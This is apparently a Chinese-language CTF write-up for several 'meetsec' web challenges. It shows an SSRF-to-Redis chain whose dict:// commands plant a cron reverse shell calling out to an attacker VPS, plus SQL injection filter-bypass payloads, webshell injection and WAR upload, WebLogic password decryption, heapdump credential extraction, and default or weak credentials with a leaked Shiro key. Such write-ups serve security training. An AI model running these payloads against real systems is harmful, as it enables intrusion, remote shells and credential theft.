Web1

FLAG1

直接读取根目录下的flag文件。

meetsec1{6d5e5c2bb397ba7727b58df59b35f66a}

FLAG2

先用file:///etc/hosts查看内网主机连接

发现有一台172.18.240.5的机器，说明内网c段是在172.18.240.0/24（题目给了提示）

接下来用Yakit进行IP和端口探测

后面添加常见端口即可，这种SSRF题一般会出redis的知识点，可以优先探测一遍内网开放的6379端口

显然可以发现1和7的6379端口探测响应与其他IP不同

查看回显发现6379存活，查看两台redis的key

第一台redis下并没有什么关键信息

dict://172.18.240.1:6379/keys *

可以发现第二台redis存在flag

dict://172.18.240.7:6379/keys *

可以直接get出来。

meetsec2{2b7cc5b73fe867cc83546583b858c8ab}

FLAG3

第三个flag提示在根目录，那可以试试往redis写定时任务反弹shell到vps上

dict://172.18.240.7:6379/flushall
dict://172.18.240.7:6379/config set dir /var/spool/cron
dict://172.18.240.7:6379/config set dbfilename root
dict://172.18.240.7:6379/set x "\n* * * * * /bin/bash -i >& /dev/tcp/IP/5555 0>&1\n"
dict://172.18.240.7:6379/save

meetsec3{f22eec9fb7c498b3a747392ff53a746b}

Web2

FLAG1

直接用weblogicTool梭哈。

meetsec1{3e942fd37767def3a9f68cf5ee6ebee5}

FLAG2

注入冰蝎的内存马，连接成功

Fscan收集完信息后，
在/root/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/JDBC_Data_Source-0-3407-jdbc.xml文件中拿到用户名root和AES加密后的密码，还有第二台机器的数据库连接地址。

SerializedSystemIni.dat文件默认位置：
/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

解密出来后得到密码Meetsec#1024

stowaway挂上代理直接用datagrip连接成功。

meetsec2{9fffac75c84bfc66fef4998f3574c6c8}

FLAG3

读取根目录下的flag文件。

meetsec3{2e947aef43be6dc428a9c626ba7fb824}

Web3

FLAG1

扫目录发现actuator/env和actuator/heapdump泄露

首先访问actuator/env得到第一个flag

或者看actuator/heapdump泄露

java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

meetsec1{e20cdd96b8985a3557e5720726bb09a8}

FLAG2

找到数据库的账号密码。

com.zaxxer.hikari.HikariDataSource:
[password = MeetSec@2nd!2022, jdbcUrl = jdbc:mysql://mysql_heapdump:13306/db, username = meetsec]

meetsec2{9edbd4b03b5f86a9abe079bc63ea847b}

Web5

FLAG1

访问/admin/login.php来到后台登录界面，这里有个sql注入

账号密码处填

' anselectd extractvalue(1,concat(0x7e,(database()))) #

即可报错注入获得数据库名

' uniselecton+selselectect+1,'admin','e10adc3949ba59abbe56e057f20f883e',0,0 #

还可以通过伪造admin返回的md5加密后的密码，进行登录

系统设置加一个php后缀

http://118.195.209.56:8082/admin/admin_file_upload.php

meetsec1{476e2dceb225678cd466fc3cd2b4c59c}

Web6

FLAG1

访问发现有Basic认证。

先构造一个账号+弱口令字典，格式为用户名:密码

然后bp爆破，用base64加密后传输

爆出来账号tomcat 弱口令qwe123

进入manager/html

构造一个war包上传，这里用冰蝎生成的一句话木马，打包成zip后改后缀war

meetsec1{c7a8d2734ec5a4ed687a9a692ee733f8}

Web7

FLAG1

LiqunKit一把梭

meetsec1{672728e3bde3f4cc2b59de572b4df6d6}

Web9

FLAG1

扫框架发现是nacos

默认密码为nacos nacos

登录成功

发现shiro key

JG/RsuIKp3DFaBfD3ctgeA==

meetsec1{97fde43b8e55cb2e2b26b7c232ea82fa}